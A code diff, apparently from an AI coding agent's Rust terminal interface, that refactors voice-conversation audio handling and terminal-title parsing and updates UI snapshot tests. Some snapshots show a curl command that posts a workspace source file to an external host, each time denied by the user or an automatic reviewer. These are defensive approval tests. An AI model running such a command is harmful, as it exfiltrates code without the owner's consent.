RealtimeConversationVersion::V2 => Self::PlaybackAware,
}
}
fn input_behavior(
self,
playback_queued_samples: Arc<AtomicUsize>,
) -> crate::voice::RealtimeInputBehavior {
match self {
Self::Legacy => crate::voice::RealtimeInputBehavior::Ungated,
Self::PlaybackAware => crate::voice::RealtimeInputBehavior::PlaybackAware {
playback_queued_samples,
},
}
}
}
impl RealtimeConversationUiState {
@@ -106,23 +66,6 @@ pub(super) struct PendingSteerCompareKey {
}
impl ChatWidget {
pub(super) fn stop_realtime_conversation_from_ui(&mut self) {
self.request_realtime_conversation_close(/*info_message*/ None);
}
#[cfg(not(target_os = "linux"))]
pub(crate) fn stop_realtime_conversation_for_deleted_meter(&mut self, id: &str) -> bool {
if self.realtime_conversation.is_live()
&& self.realtime_conversation.meter_placeholder_id.as_deref() == Some(id)
{
self.realtime_conversation.meter_placeholder_id = None;
self.stop_realtime_conversation_from_ui();
return true;
}
false
}
pub(super) fn rendered_user_message_event_from_parts(
message: String,
text_elements: Vec<TextElement>,
@@ -174,6 +117,7 @@ impl ChatWidget {
}
}
#[cfg(test)]
pub(super) fn pending_steer_compare_key_from_item(
item: &codex_protocol::items::UserMessageItem,
) -> PendingSteerCompareKey {
@@ -220,6 +164,7 @@ impl ChatWidget {
)
}
#[cfg(test)]
pub(super) fn should_render_realtime_user_message_event(
&self,
event: &UserMessageEvent,
@@ -253,23 +198,39 @@ impl ChatWidget {
None
}
fn realtime_footer_hint_items() -> Vec<(String, String)> {
vec![("/realtime".to_string(), "stop live voice".to_string())]
}
pub(super) fn stop_realtime_conversation_from_ui(&mut self) {
self.request_realtime_conversation_close(/*info_message*/ None);
}
#[cfg(not(target_os = "linux"))]
pub(crate) fn stop_realtime_conversation_for_deleted_meter(&mut self, id: &str) -> bool {
if self.realtime_conversation.is_live()
&& self.realtime_conversation.meter_placeholder_id.as_deref() == Some(id)
{
self.realtime_conversation.meter_placeholder_id = None;
self.stop_realtime_conversation_from_ui();
return true;
}
false
}
pub(super) fn start_realtime_conversation(&mut self) {
self.realtime_conversation.phase = RealtimeConversationPhase::Starting;
self.realtime_conversation.requested_close = false;
self.realtime_conversation.session_id = None;
#[cfg(not(target_os = "linux"))]
{
self.realtime_conversation.audio_behavior = RealtimeAudioBehavior::Legacy;
}
self.realtime_conversation.warned_audio_only_submission = false;
self.set_footer_hint_override(Some(vec![(
"/realtime".to_string(),
"stop live voice".to_string(),
)]));
self.submit_op(Op::RealtimeConversationStart(ConversationStartParams {
prompt: REALTIME_CONVERSATION_PROMPT.to_string(),
session_id: None,
}));
self.set_footer_hint_override(Some(Self::realtime_footer_hint_items()));
self.submit_op(AppCommand::realtime_conversation_start(
ConversationStartParams {
prompt: REALTIME_CONVERSATION_PROMPT.to_string(),
session_id: None,
},
));
self.request_redraw();
}
@@ -283,7 +244,7 @@ impl ChatWidget {
self.realtime_conversation.requested_close = true;
self.realtime_conversation.phase = RealtimeConversationPhase::Stopping;
self.submit_op(Op::RealtimeConversationClose);
self.submit_op(AppCommand::realtime_conversation_close());
self.stop_realtime_local_audio();
self.set_footer_hint_override(/*items*/ None);
@@ -300,10 +261,6 @@ impl ChatWidget {
self.realtime_conversation.phase = RealtimeConversationPhase::Inactive;
self.realtime_conversation.requested_close = false;
self.realtime_conversation.session_id = None;
#[cfg(not(target_os = "linux"))]
{
self.realtime_conversation.audio_behavior = RealtimeAudioBehavior::Legacy;
}
self.realtime_conversation.warned_audio_only_submission = false;
}
@@ -327,16 +284,8 @@ impl ChatWidget {
}
self.realtime_conversation.phase = RealtimeConversationPhase::Active;
self.realtime_conversation.session_id = ev.session_id;
#[cfg(not(target_os = "linux"))]
{
self.realtime_conversation.audio_behavior =
RealtimeAudioBehavior::from_version(ev.version);
}
self.realtime_conversation.warned_audio_only_submission = false;
self.set_footer_hint_override(Some(vec![(
"/realtime".to_string(),
"stop live voice".to_string(),
)]));
self.set_footer_hint_override(Some(Self::realtime_footer_hint_items()));
self.start_realtime_local_audio();
self.request_redraw();
}
@@ -349,23 +298,11 @@ impl ChatWidget {
RealtimeEvent::SessionUpdated { session_id, .. } => {
self.realtime_conversation.session_id = Some(session_id);
}
RealtimeEvent::InputAudioSpeechStarted(_) | RealtimeEvent::ResponseCancelled(_) => {
#[cfg(not(target_os = "linux"))]
{
if matches!(
self.realtime_conversation.audio_behavior,
RealtimeAudioBehavior::PlaybackAware
) && let Some(player) = &self.realtime_conversation.audio_player
{
// Once the server detects user speech or the current response is cancelled,
// any buffered assistant audio is stale and should stop gating mic input.
player.clear();
}
}
}
RealtimeEvent::InputAudioSpeechStarted(_) => self.interrupt_realtime_audio_playback(),
RealtimeEvent::InputTranscriptDelta(_) => {}
RealtimeEvent::OutputTranscriptDelta(_) => {}
RealtimeEvent::AudioOut(frame) => self.enqueue_realtime_audio_out(&frame),
RealtimeEvent::ResponseCancelled(_) => self.interrupt_realtime_audio_playback(),
RealtimeEvent::ConversationItemAdded(_item) => {}
RealtimeEvent::ConversationItemDone { .. } => {}
RealtimeEvent::HandoffRequested(_) => {}
@@ -395,11 +332,8 @@ impl ChatWidget {
#[cfg(not(target_os = "linux"))]
{
if self.realtime_conversation.audio_player.is_none() {
self.realtime_conversation.audio_player = crate::voice::RealtimeAudioPlayer::start(
&self.config,
Arc::clone(&self.realtime_conversation.playback_queued_samples),
)
.ok();
self.realtime_conversation.audio_player =
crate::voice::RealtimeAudioPlayer::start(&self.config).ok();
}
if let Some(player) = &self.realtime_conversation.audio_player
&& let Err(err) = player.enqueue_frame(frame)
@@ -413,29 +347,34 @@ impl ChatWidget {
}
}
#[cfg(not(target_os = "linux"))]
fn interrupt_realtime_audio_playback(&mut self) {
if let Some(player) = &self.realtime_conversation.audio_player {
player.clear();
}
}
#[cfg(target_os = "linux")]
fn interrupt_realtime_audio_playback(&mut self) {}
#[cfg(not(target_os = "linux"))]
fn start_realtime_local_audio(&mut self) {
if self.realtime_conversation.capture_stop_flag.is_some() {
return;
}
let placeholder_id = self.bottom_pane.insert_transcription_placeholder("⠤⠤⠤⠤");
let placeholder_id = self.bottom_pane.insert_recording_meter_placeholder("⠤⠤⠤⠤");
self.realtime_conversation.meter_placeholder_id = Some(placeholder_id.clone());
self.request_redraw();
let capture = match crate::voice::VoiceCapture::start_realtime(
&self.config,
self.app_event_tx.clone(),
self.realtime_conversation
.audio_behavior
.input_behavior(Arc::clone(
&self.realtime_conversation.playback_queued_samples,
)),
) {
Ok(capture) => capture,
Err(err) => {
self.realtime_conversation.meter_placeholder_id = None;
self.remove_transcription_placeholder(&placeholder_id);
self.remove_recording_meter_placeholder(&placeholder_id);
self.fail_realtime_conversation(format!(
"Failed to start microphone capture: {err}"
));
@@ -451,11 +390,8 @@ impl ChatWidget {
self.realtime_conversation.capture_stop_flag = Some(stop_flag.clone());
self.realtime_conversation.capture = Some(capture);
if self.realtime_conversation.audio_player.is_none() {
self.realtime_conversation.audio_player = crate::voice::RealtimeAudioPlayer::start(
&self.config,
Arc::clone(&self.realtime_conversation.playback_queued_samples),
)
.ok();
self.realtime_conversation.audio_player =
crate::voice::RealtimeAudioPlayer::start(&self.config).ok();
}
std::thread::spawn(move || {
@@ -493,10 +429,7 @@ impl ChatWidget {
}
RealtimeAudioDeviceKind::Speaker => {
self.stop_realtime_speaker();
match crate::voice::RealtimeAudioPlayer::start(
&self.config,
Arc::clone(&self.realtime_conversation.playback_queued_samples),
) {
match crate::voice::RealtimeAudioPlayer::start(&self.config) {
Ok(player) => {
self.realtime_conversation.audio_player = Some(player);
}
@@ -531,10 +464,10 @@ impl ChatWidget {
flag.store(true, Ordering::Relaxed);
}
if let Some(capture) = self.realtime_conversation.capture.take() {
let _ = capture.stop();
capture.stop();
}
if let Some(id) = self.realtime_conversation.meter_placeholder_id.take() {
self.remove_transcription_placeholder(&id);
self.remove_recording_meter_placeholder(&id);
}
}
@@ -0,0 +1,6 @@
---
source: tui/src/chatwidget/tests.rs
expression: combined
---
• Spawned 019cff70-2599-75e2-af72-b91781b41a8e (gpt-5 high)
└ Explore the repo
@@ -0,0 +1,12 @@
---
source: tui/src/chatwidget/tests.rs
expression: combined
---
• Waiting for 2 agents
└ Robie [explorer]
Ada [reviewer]
• Finished waiting
└ Robie [explorer]: Completed - Done
Ada [reviewer]: Running
@@ -0,0 +1,13 @@
---
source: tui/src/chatwidget/tests.rs
expression: term.backend().vt100().screen().contents()
---
✗ Request denied for codex to run curl -sS -i -X POST --data-binary @core/src/c
odex.rs https://example.com
• Working (0s • esc to interrupt)
› Ask Codex to do anything
gpt-5.3-codex default · 100% left · /tmp/project
@@ -0,0 +1,15 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 11761
expression: term.backend().vt100().screen().contents()
---
⚠ MCP client for `alpha` failed to start: handshake failed
⚠ MCP startup incomplete (failed: alpha)
› Ask Codex to do anything
gpt-5.3-codex default · 100% left · /tmp/project
@@ -2,6 +2,8 @@
source: tui/src/chatwidget/tests.rs
expression: terminal.backend().vt100().screen().contents()
---
Would you like to run the following command?
$ echo hello world
@@ -1,6 +1,5 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 7368
expression: popup
---
Update Model Permissions
@@ -0,0 +1,18 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 9607
expression: popup
---
Update Model Permissions
› 1. Default Codex can read and edit files in the current
workspace, and run commands. Approval is required to
access the internet or edit other files.
2. Guardian Approvals Same workspace-write permissions as Default, but
eligible `on-request` approvals are routed through
the guardian reviewer subagent.
3. Full Access Codex can edit files outside this workspace and
access the internet without asking for approval.
Exercise caution when using.
Press enter to confirm or esc to go back
@@ -1,6 +1,5 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 7365
expression: popup
---
Update Model Permissions
@@ -1,7 +1,42 @@
---
source: tui/src/chatwidget/tests.rs
expression: visual
expression: term.backend().vt100().screen().contents()
---
• -- Indented code block (4 spaces)
SELECT *
FROM "users"
@@ -2,7 +2,6 @@
source: tui/src/chatwidget/tests.rs
expression: term.backend().vt100().screen().contents()
---
• Working (0s • esc to interrupt)
• Queued follow-up messages
@@ -25,4 +24,4 @@ expression: term.backend().vt100().screen().contents()
› Ask Codex to do anything
? for shortcuts 100% context left
gpt-5.3-codex default · 100% left · /tmp/project
@@ -2,15 +2,6 @@
source: tui/src/chatwidget/tests.rs
expression: term.backend().vt100().screen().contents()
---
• Working (0s • esc to interrupt)
• Messages to be submitted at end of turn
@@ -18,4 +9,4 @@ expression: term.backend().vt100().screen().contents()
› Ask Codex to do anything
? for shortcuts 100% context left
gpt-5.3-codex default · 100% left · /tmp/project
@@ -1,6 +1,5 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 9494
expression: combined
---
@@ -1,6 +1,5 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 495
expression: lines_to_single_string(&aborted_long)
---
✗ You canceled the request to run echo
@@ -3,4 +3,3 @@ source: tui/src/chatwidget/tests.rs
expression: lines_to_single_string(&aborted_multi)
---
✗ You canceled the request to run echo line1 ...
@@ -1,6 +1,6 @@
---
source: tui/src/chatwidget/tests.rs
expression: blob1
expression: active_blob(&chat)
---
• Exploring
└ List ls -la
@@ -1,6 +1,6 @@
---
source: tui/src/chatwidget/tests.rs
expression: blob2
expression: active_blob(&chat)
---
• Explored
└ List ls -la
@@ -1,6 +1,6 @@
---
source: tui/src/chatwidget/tests.rs
expression: blob3
expression: active_blob(&chat)
---
• Exploring
└ List ls -la
@@ -1,6 +1,6 @@
---
source: tui/src/chatwidget/tests.rs
expression: blob4
expression: active_blob(&chat)
---
• Explored
└ List ls -la
@@ -1,6 +1,6 @@
---
source: tui/src/chatwidget/tests.rs
expression: blob5
expression: active_blob(&chat)
---
• Explored
└ List ls -la
@@ -1,6 +1,6 @@
---
source: tui/src/chatwidget/tests.rs
expression: blob6
expression: active_blob(&chat)
---
• Explored
└ List ls -la
@@ -1,17 +1,11 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 9237
expression: term.backend().vt100().screen().contents()
---
✔ Auto-reviewer approved codex to run rm -f /tmp/guardian-approved.sqlite this
time
› Ask Codex to do anything
? for shortcuts 100% context left
gpt-5.3-codex default · 100% left · /tmp/project
@@ -1,15 +1,7 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 9085
expression: term.backend().vt100().screen().contents()
---
⚠ Automatic approval review denied (risk: high): The planned action would
transmit the full contents of a workspace source file (`core/src/codex.rs`) to
`https://example.com`, which is an external and untrusted endpoint.
@@ -22,4 +14,4 @@ expression: term.backend().vt100().screen().contents()
› Ask Codex to do anything
? for shortcuts 100% context left
gpt-5.3-codex default · 100% left · /tmp/project
@@ -1,6 +1,5 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 9336
expression: rendered
---
• Reviewing 2 approval requests (0s • esc to interrupt)
@@ -10,4 +9,4 @@ expression: rendered
› Ask Codex to do anything
? for shortcuts 100% context left
gpt-5.3-codex default · 100% left · /tmp/project
@@ -1,6 +1,5 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 5889
expression: combined
---
• Generated Image:
@@ -0,0 +1,6 @@
---
source: tui/src/chatwidget/tests.rs
expression: snapshot
---
cells=1
■ Conversation interrupted - tell the model what to do differently. Something went wrong? Hit `/feedback` to report the issue.
@@ -0,0 +1,6 @@
---
source: tui/src/chatwidget/tests.rs
expression: blob
---
• You ran python3 -c 'print("Hello, world!")'
└ Hello, world!
@@ -8,4 +8,4 @@ expression: terminal.backend()
" "
"› Ask Codex to do anything "
" "
" ? for shortcuts 100% context left "
" gpt-5.3-codex default · 100% left · /tmp/project "
@@ -1,6 +1,5 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 1989
expression: popup
---
Select Model and Effort
@@ -1,6 +1,5 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 6001
expression: popup
---
Enable subagents?
@@ -1,6 +1,5 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 7963
expression: "lines_to_single_string(&cells[0])"
---
• Permissions updated to Full Access
@@ -1,6 +1,5 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 7289
expression: popup
---
Plugins
@@ -1,6 +1,5 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 7527
expression: popup
---
Plugins
@@ -8,4 +8,4 @@ expression: terminal.backend()
" "
"› Ask Codex to do anything "
" "
" ? for shortcuts 100% context left "
" gpt-5.3-codex default · 100% left · /tmp/project "
@@ -1,6 +1,5 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 7060
expression: header
---
› Ask Codex to do anything
@@ -2,16 +2,6 @@
source: tui/src/chatwidget/tests.rs
expression: term.backend().vt100().screen().contents()
---
• Working (0s • esc to interrupt)
• Messages to be submitted at end of turn
@@ -19,4 +9,4 @@ expression: term.backend().vt100().screen().contents()
› Ask Codex to do anything
? for shortcuts 100% context left
gpt-5.3-codex default · 100% left · /tmp/project
@@ -1,6 +1,5 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 4430
expression: rendered.clone()
expression: rendered
---
• `/copy` is unavailable before the first Codex output or right after a rollback.
@@ -0,0 +1,9 @@
---
source: tui/src/chatwidget/tests.rs
expression: terminal.backend()
---
" "
" "
"› Ask Codex to do anything "
" "
" gpt-5.3-codex medium Plan mode (shift+tab to cycle) "
@@ -8,4 +8,4 @@ expression: terminal.backend()
" "
"› Ask Codex to do anything "
" "
" ? for shortcuts 100% context left "
" gpt-5.3-codex default · 100% left · /tmp/project "
@@ -8,4 +8,4 @@ expression: terminal.backend()
" "
"› Ask Codex to do anything "
" "
" ? for shortcuts 100% context left "
" gpt-5.3-codex default · 100% left · /tmp/project "
@@ -8,4 +8,4 @@ expression: rendered
› Ask Codex to do anything
? for shortcuts 100% context left
gpt-5.3-codex default · 100% left · /tmp/proj…
@@ -0,0 +1,10 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 12789
expression: combined
---
• Running UserPromptSubmit hook: checking go-workflow input policy
UserPromptSubmit hook (stopped)
warning: go-workflow must start from PlanMode
stop: prompt blocked
@@ -0,0 +1,10 @@
---
source: tui/src/chatwidget/tests.rs
assertion_line: 12789
expression: combined
---
• Running UserPromptSubmit hook: checking go-workflow input policy
UserPromptSubmit hook (stopped)
warning: go-workflow must start from PlanMode
stop: prompt blocked
+30 -30
View File
@@ -5,17 +5,23 @@
use super::*;
/// Items shown in the terminal title when the user has not configured a
/// custom selection. Intentionally minimal: spinner + project name.
pub(super) const DEFAULT_TERMINAL_TITLE_ITEMS: [&str; 2] = ["spinner", "project"];
/// Braille-pattern dot-spinner frames for the terminal title animation.
pub(super) const TERMINAL_TITLE_SPINNER_FRAMES: [&str; 10] =
["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"];
/// Time between spinner frame advances in the terminal title.
pub(super) const TERMINAL_TITLE_SPINNER_INTERVAL: Duration = Duration::from_millis(100);
#[derive(Clone, Copy, Debug, Default, Eq, PartialEq)]
/// Compact runtime states that can be rendered into the terminal title.
///
/// This is intentionally smaller than the full status-header vocabulary. The
/// title needs short, stable labels, so callers map richer lifecycle events
/// onto one of these buckets before rendering.
#[derive(Clone, Copy, Debug, Default, Eq, PartialEq)]
pub(super) enum TerminalTitleStatusKind {
Working,
WaitingForBackgroundTerminal,
@@ -47,12 +53,12 @@ impl StatusSurfaceSelections {
}
}
#[derive(Clone, Debug)]
/// Cached project-root display name keyed by the cwd used for the last lookup.
///
/// Terminal-title refreshes can happen very frequently, so the title path avoids
/// repeatedly walking up the filesystem to rediscover the same project root name
/// while the working directory is unchanged.
#[derive(Clone, Debug)]
pub(super) struct CachedProjectRootName {
pub(super) cwd: PathBuf,
pub(super) root_name: Option<String>,
@@ -270,20 +276,7 @@ impl ChatWidget {
///
/// Unknown ids are deduplicated in insertion order for warning messages.
fn status_line_items_with_invalids(&self) -> (Vec<StatusLineItem>, Vec<String>) {
let mut invalid = Vec::new();
let mut invalid_seen = HashSet::new();
let mut items = Vec::new();
for id in self.configured_status_line_items() {
match id.parse::<StatusLineItem>() {
Ok(item) => items.push(item),
Err(_) => {
if invalid_seen.insert(id.clone()) {
invalid.push(format!(r#""{id}""#));
}
}
}
}
(items, invalid)
parse_items_with_invalids(self.configured_status_line_items())
}
pub(super) fn configured_status_line_items(&self) -> Vec<String> {
@@ -299,20 +292,7 @@ impl ChatWidget {
///
/// Unknown ids are deduplicated in insertion order for warning messages.
fn terminal_title_items_with_invalids(&self) -> (Vec<TerminalTitleItem>, Vec<String>) {
let mut invalid = Vec::new();
let mut invalid_seen = HashSet::new();
let mut items = Vec::new();
for id in self.configured_terminal_title_items() {
match id.parse::<TerminalTitleItem>() {
Ok(item) => items.push(item),
Err(_) => {
if invalid_seen.insert(id.clone()) {
invalid.push(format!(r#""{id}""#));
}
}
}
}
(items, invalid)
parse_items_with_invalids(self.configured_terminal_title_items())
}
/// Returns the configured terminal-title ids, or the default ordering when unset.
@@ -660,3 +640,23 @@ impl ChatWidget {
truncated
}
}
fn parse_items_with_invalids<T>(ids: impl IntoIterator<Item = String>) -> (Vec<T>, Vec<String>)
where
T: std::str::FromStr,
{
let mut invalid = Vec::new();
let mut invalid_seen = HashSet::new();
let mut items = Vec::new();
for id in ids {
match id.parse::<T>() {
Ok(item) => items.push(item),
Err(_) => {
if invalid_seen.insert(id.clone()) {
invalid.push(format!(r#""{id}""#));
}
}
}
}
(items, invalid)
}

Some files were not shown because too many files have changed in this diff Show More